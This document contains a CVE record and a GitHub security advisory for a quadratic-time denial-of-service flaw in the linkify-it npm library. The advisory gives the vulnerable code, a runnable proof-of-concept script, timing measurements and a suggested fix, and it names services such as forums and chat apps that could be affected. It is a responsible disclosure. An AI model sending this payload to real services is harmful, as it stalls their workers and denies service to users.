{
  "affected": [
    {
      "affectedData": [
        {
          "product": "linkify-it",
          "vendor": "markdown-it",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 5.0.1"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "linkify-it is a links recognition library with full Unicode support. Prior to 5.0.1, LinkifyIt.prototype.match, the package\u0027s primary public API, has O(N\u00b2) algorithmic complexity for inputs containing many fuzzy links or emails because the JavaScript-level scan loop re-slices input and re-runs unanchored regex searches on progressively shorter tails. Any service that synchronously renders untrusted Markdown with linkify:true on a request hot path can inherit a worker-process denial of service triggerable by a tens-of-KB request body. This issue is fixed in version 5.0.1."
    }
  ],
  "id": "CVE-2026-48801",
  "lastModified": "2026-07-15T20:21:13.857",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 8.7,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-48801",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-15T12:56:10.402451Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-14T21:17:01.247",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/markdown-it/linkify-it/commit/6be6d15e0641bf1daeaa977d500cabc743166159"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/markdown-it/linkify-it/security/advisories/GHSA-22p9-wv53-3rq4"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/markdown-it/linkify-it/security/advisories/GHSA-22p9-wv53-3rq4"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-1333"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "linkify-it"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48801"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T20:47:58Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`LinkifyIt.prototype.match` \u2014 the package\u0027s primary public API \u2014 has **O(N\u00b2) algorithmic complexity** for inputs containing many fuzzy links or emails. This is not a regex backtrack bug; it\u0027s a structural issue in the JS-level scan loop that re-slices the input and re-runs unanchored regex searches on progressively shorter tails, N times.\n\n64 KB of `\"a@b.com\\n\"` repeated burns ~2.5 s of single-threaded CPU; 128 KB takes ~10 s. Doubling the input quadruples the time \u2014 textbook O(N\u00b2).\n\nThe same cost passes through `markdown-it` (`linkify:true`) unmodified. Any service that synchronously renders untrusted Markdown with linkify enabled on a request hot-path (forums, comments, chat, wikis, AI chat UIs) inherits a worker-process DoS triggerable by a tens-of-KB request body.\n\n## Affected component\n\n- HEAD audited: `8e887d5bace3f5b09b1d1f70492fa0364ef1793d` (v5.0.0)\n- Vulnerable function: `LinkifyIt.prototype.match` \u2014 `index.mjs:528-554`\n- Re-scan call sites inside `test()`: `index.mjs:444` (fuzzy host search), `:448` (fuzzy link match), `:467` (fuzzy email match)\n- Transitive consumer: `markdown-it` (~21.6M weekly npm DLs) calls `linkify.match()` at `lib/rules_core/linkify.mjs:57` when `linkify:true`\n- **All versions affected** \u2014 the vulnerable loop exists since the initial commit (2014) through v5.0.0\n\n## Vulnerability details\n\n### The O(N\u00b2) outer loop\n\n`index.mjs:528-554`:\n\n```js\nLinkifyIt.prototype.match = function match (text) {\n  const result = []\n  let shift = 0\n  let tail = shift ? text.slice(shift) : text\n\n  while (this.test(tail)) {\n    result.push(createMatch(this, shift))\n    tail = tail.slice(this.__last_index__)   // \u003c-- re-allocates remaining tail each iteration\n    shift += this.__last_index__\n  }\n\n  if (result.length) return result\n  return null\n}\n```\n\nThe loop iterates O(N) times (once per match). Each iteration:\n1. `tail.slice()` re-allocates a string of length `|text| - shift` \u2014 O(N) per iteration\n2. `this.test(tail)` runs three unanchored regex searches over the full new `tail`:\n\n```js\n// index.mjs:444 \u2014 full-tail search\ntld_pos = text.search(this.re.host_fuzzy_test)\n// index.mjs:448 \u2014 full-tail match\nml = text.match(this.re.link_fuzzy)\n// index.mjs:467 \u2014 full-tail match\nme = text.match(this.re.email_fuzzy)\n```\n\nTotal cost: `\u03a3(N - i*c) for i=0..N = O(N\u00b2)`.\n\n### Contrast with the linear schema branch\n\nThe schema-prefixed scan in the same `test()` function does it correctly at `index.mjs:428-440`:\n\n```js\nre = this.re.schema_search\nre.lastIndex = 0\nwhile ((m = re.exec(text)) !== null) { ... }\n```\n\nThat branch uses a `g`-flag RegExp and advances `lastIndex` \u2014 linear. The fuzzy branches don\u0027t follow this pattern.\n\n## Proof of concept\n\n```bash\nmkdir /tmp/linkifyit-redos \u0026\u0026 cd /tmp/linkifyit-redos\nnpm install linkify-it@5.0.0\n\ncat \u003e poc.mjs \u003c\u003c\u0027EOF\u0027\nimport LinkifyIt from \u0027linkify-it\u0027\nconst l = new LinkifyIt()\nfor (const n of [1000, 2000, 4000, 8000, 16000]) {\n  const evil = \u0027a@b.com\\n\u0027.repeat(n)\n  const t0 = process.hrtime.bigint()\n  l.match(evil)\n  const ms = Number(process.hrtime.bigint() - t0) / 1e6\n  console.log(`n=${n} bytes=${evil.length} took ${ms.toFixed(0)} ms`)\n}\nEOF\nnode poc.mjs\n```\n\n### Measured output (Node v25.5.0, Apple Silicon)\n\n```\nn=1000  bytes=8000    took 44 ms\nn=2000  bytes=16000   took 159 ms\nn=4000  bytes=32000   took 628 ms\nn=8000  bytes=64000   took 2506 ms\nn=16000 bytes=128000  took 9948 ms\n```\n\nDoubling N \u2192 ~4\u00d7 wall-clock, consistent with O(N\u00b2).\n\n### markdown-it transitive (independently confirmed)\n\n```bash\nnpm install markdown-it@14.1.1\nnode -e \"\n  const md = require(\u0027markdown-it\u0027)({ linkify: true })\n  for (const n of [1000, 2000, 4000, 8000]) {\n    const evil = \u0027a@b.com \u0027.repeat(n)\n    const t0 = process.hrtime.bigint()\n    md.render(evil)\n    const ms = Number(process.hrtime.bigint() - t0) / 1e6\n    console.log(\u0027n=\u0027 + n + \u0027 bytes=\u0027 + evil.length + \u0027 md.render=\u0027 + ms.toFixed(0) + \u0027ms\u0027)\n  }\n\"\n```\n\n```\nn=1000 bytes=8000   md.render=45ms\nn=2000 bytes=16000  md.render=171ms\nn=4000 bytes=32000  md.render=672ms\nn=8000 bytes=64000  md.render=2636ms\n```\n\nSame quadratic curve. 64 KB is enough to burn 2.6 s in `markdown-it.render()`.\n\n## Impact\n\n- **Availability (High)**: A single HTTP request containing tens of KB of repeated email-like strings blocks one worker thread for seconds to tens of seconds. Under moderate concurrency (10-50 requests), the entire rendering tier of an affected service is wedged.\n- No confidentiality or integrity impact.\n\n**Real-world scenario**: Any service that renders untrusted Markdown with `linkify:true` on the request path \u2014 Discourse, Mattermost, GitLab CE, AI chat UIs (Open WebUI, LibreChat), wiki/note apps using markdown-it \u2014 receives a post/comment containing 64 KB of `\"a@b.com \"`. The render call blocks the worker for 2.5+ seconds. Scripted at scale, this wedges the rendering tier.\n\n## Suggested remediation\n\nThe fix is algorithmic \u2014 convert the outer scan loop to stateful regex iteration so each character is examined a constant number of times:\n\n1. Add the `g` flag to `email_fuzzy`, `link_fuzzy`, `link_no_ip_fuzzy`, `host_fuzzy_test` in `lib/re.mjs`\n2. Rewrite `test()` (or add `testAt(text, pos)`) so fuzzy branches set `re.lastIndex = pos` and call `re.exec(text)` instead of `text.match()`/`text.search()` on a sliced tail\n3. In `match()`, drop `tail = tail.slice(...)` entirely \u2014 advance a `pos` offset instead\n\nThe schema branch at `index.mjs:428-440` is already structured this way \u2014 it\u0027s the in-repo precedent for the fix.\n\n```js\n// proposed sketch\nLinkifyIt.prototype.match = function match (text) {\n  const result = []\n  let pos = 0\n  while (this.testAt(text, pos)) {\n    result.push(createMatch(this, 0))\n    pos = this.__last_index__\n  }\n  return result.length ? result : null\n}\n```\n\nTotal cost becomes O(N): each character scanned at most once per regex across the whole loop.\n\n## Duplicate-risk analysis\n\n- Zero GHSAs on `linkify-it` (`gh api /repos/markdown-it/linkify-it/security-advisories` \u2192 `[]`)\n- Zero OSV entries (`api.osv.dev/v1/query` \u2192 `{}`)\n- markdown-it\u0027s only GHSA (CVE-2022-21670, \"Possible ReDOS in newline rule\") targets markdown-it\u0027s own newline regex, not the linkify pipeline\n\nThis finding appears novel.\n\n## Note to maintainers\n\nSince `markdown-it` is the dominant consumer and shares maintainership (Vitaly Puzrin), a patched `linkify-it` release should be paired with a `markdown-it` minor that pins the new minimum version.",
  "id": "GHSA-22p9-wv53-3rq4",
  "modified": "2026-06-26T20:47:58Z",
  "published": "2026-06-26T20:47:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/markdown-it/linkify-it/security/advisories/GHSA-22p9-wv53-3rq4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/markdown-it/linkify-it"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "LinkifyIt#match scan loop has quadratic algorithmic complexity"
}